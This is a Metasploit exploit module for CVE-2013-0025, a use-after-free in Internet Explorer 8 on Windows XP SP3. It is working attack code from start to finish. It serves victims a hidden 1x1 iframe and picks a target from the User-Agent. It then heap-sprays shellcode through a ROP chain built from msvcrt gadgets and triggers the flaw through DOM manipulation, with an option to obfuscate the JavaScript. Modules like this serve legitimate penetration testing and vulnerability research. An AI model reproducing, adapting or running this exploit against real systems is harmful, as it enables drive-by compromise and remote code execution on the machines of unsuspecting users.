require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking
 
    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::RopDb
 
 
    def initialize(info={})
        super(update_info(info,
            'Name'        => "Microsoft Internet Explorer SLayoutRun Use-After-Free",
            'Description'     => %q{
                This module exploits a use-after-free vulnerability in Microsoft Internet Explorer
                where a CParaElement node is released but a reference is still kept
                in CDoc. This memory is reused when a CDoc relayout is performed.
            },
            'License'     => MSF_LICENSE,
            'Author'      =>
                [
                    'Scott Bell <scott.bell@security-assessment.com>',  # Vulnerability discovery & Metasploit module
                ],
            'References'      =>
                [
                    [ 'CVE', '2013-0025' ],
                    [ 'MSB', 'MS13-009' ],
                    [ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ],
                ],
            'Payload'     =>
                {
                    'BadChars'      => "\x00",
                    'Space'         => 1024,
                    'DisableNops'       => true,
                    'PrependEncoder'    => "\x81\xc4\x54\xf2\xff\xff",
                },
            'DefaultOptions'  =>
                {
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Platform'    => 'win',
            'Targets'     =>
                [
                    [ 'Automatic', {} ],
                    [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]
                ],
            'Privileged'      => false,
            'DisclosureDate'  => "Feb 13 2013",
            'DefaultTarget'   => 0))
 
        register_options(
            [
                OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
            ], self.class)
 
    end
 
    def get_target(agent)
        #If the user is already specified by the user, we'll just use that
        return target if target.name != 'Automatic'
 
        nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
        ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
 
        ie_name = "IE #{ie}"
 
        case nt
        when '5.1'
            os_name = 'Windows XP SP3'
        end
 
        targets.each do |t|
            if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
                print_status("Target selected as: #{t.name}")
                return t
            end
        end
 
        return nil
    end
 
    def heap_spray(my_target, p)
        js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
        js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
 
        js = %Q|
 
            var heap_obj = new heapLib.ie(0x20000);
            var code = unescape("#{js_code}");
            var nops = unescape("#{js_nops}");
            while (nops.length < 0x80000) nops += nops;
            var offset = nops.substring(0, #{my_target['Offset']});
            var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
            while (shellcode.length < 0x40000) shellcode += shellcode;
            var block = shellcode.substring(0, (0x80000-6)/2);
            heap_obj.gc();
            for (var i=1; i < 0x300; i++) {
                heap_obj.alloc(block);
            }
            var overflow = nops.substring(0, 10);
 
        |
 
        js = heaplib(js, {:noobfu => true})
 
        if datastore['OBFUSCATE']
            js = ::Rex::Exploitation::JSObfu.new(js)
            js.obfuscate
 
        end
 
        return js
    end
 
    def get_payload(t, cli)
        code = payload.encoded
 
        # No rop. Just return the payload.
        return code if t['Rop'].nil?
 
        # ROP chain generated by mona.py - See corelan.be
        case t['Rop']
        when :msvcrt
            print_status("Using msvcrt ROP")
            rop_nops = [0x77c39f92].pack("V") * 11 # RETN
            rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})
            rop_payload << rop_nops
            rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN
            rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN
            rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN
            rop_payload << [0x77c39f92].pack("V") # RETN
            rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset
            rop_payload << code
 
        end
 
        return rop_payload
    end
 
    def this_resource
        r = get_resource
        return ( r == '/') ? '' : r
    end
 
    def get_exploit(my_target, cli)
        p  = get_payload(my_target, cli)
        js = heap_spray(my_target, p)
 
 
        html = %Q|
        <!doctype html>
        <html>
        <head>
        <script>
        var data
        var objArray = new Array(1800);
        #{js}
 
        setTimeout(function(){
            for (var i=0;i<objArray.length;i++){
                objArray[i] = document.createElement('body');
                document.body.appendChild(objArray[i])
                objArray[i].style.display = "none"
            }
 
            document.body.style.whiteSpace = "pre-line"
 
            for(var i=0;i<10;i++){
                for (var i=0;i<(objArray.length-650);i++){
                    objArray[i].className = data += unescape("%u0c0c%u0c0c");
                }
            }
 
            setTimeout(function(){document.body.innerHTML = "boo"}, 100)
        }, 100)
 
        </script>
        </head>
        <body>
        <p> </p>
        </body>
        </html>
        |
 
        return html
    end
 
 
    def get_iframe
        html = %Q|
        <html>
        <body>
        <iframe src="#{this_resource}/#{@iframe_name}" height="1" width="1"></iframe>
        </body>
        </html>
        |
 
        return html
    end
 
 
    def on_request_uri(cli, request)
        agent = request.headers['User-Agent']
        uri   = request.uri
        print_status("Requesting: #{uri}")
 
        my_target = get_target(agent)
        # Avoid the attack if no suitable target found
        if my_target.nil?
            print_error("Browser not supported, sending 404: #{agent}")
            send_not_found(cli)
            return
        end
 
 
        if uri =~ /#{@iframe_name}/
            html = get_exploit(my_target, cli)
            html = html.gsub(/^\t\t/, '')
            print_status("Sending HTML...")
        elsif   uri=~ /\/$/
            html = get_iframe
            print_status "Sending IFRAME..."
        end
            send_response(cli, html, {'Content-Type'=>'text/html'})
 
 
    end
 
    def exploit
        @iframe_name = "#{Rex::Text.rand_text_alpha(5)}.html"
        super
    end
end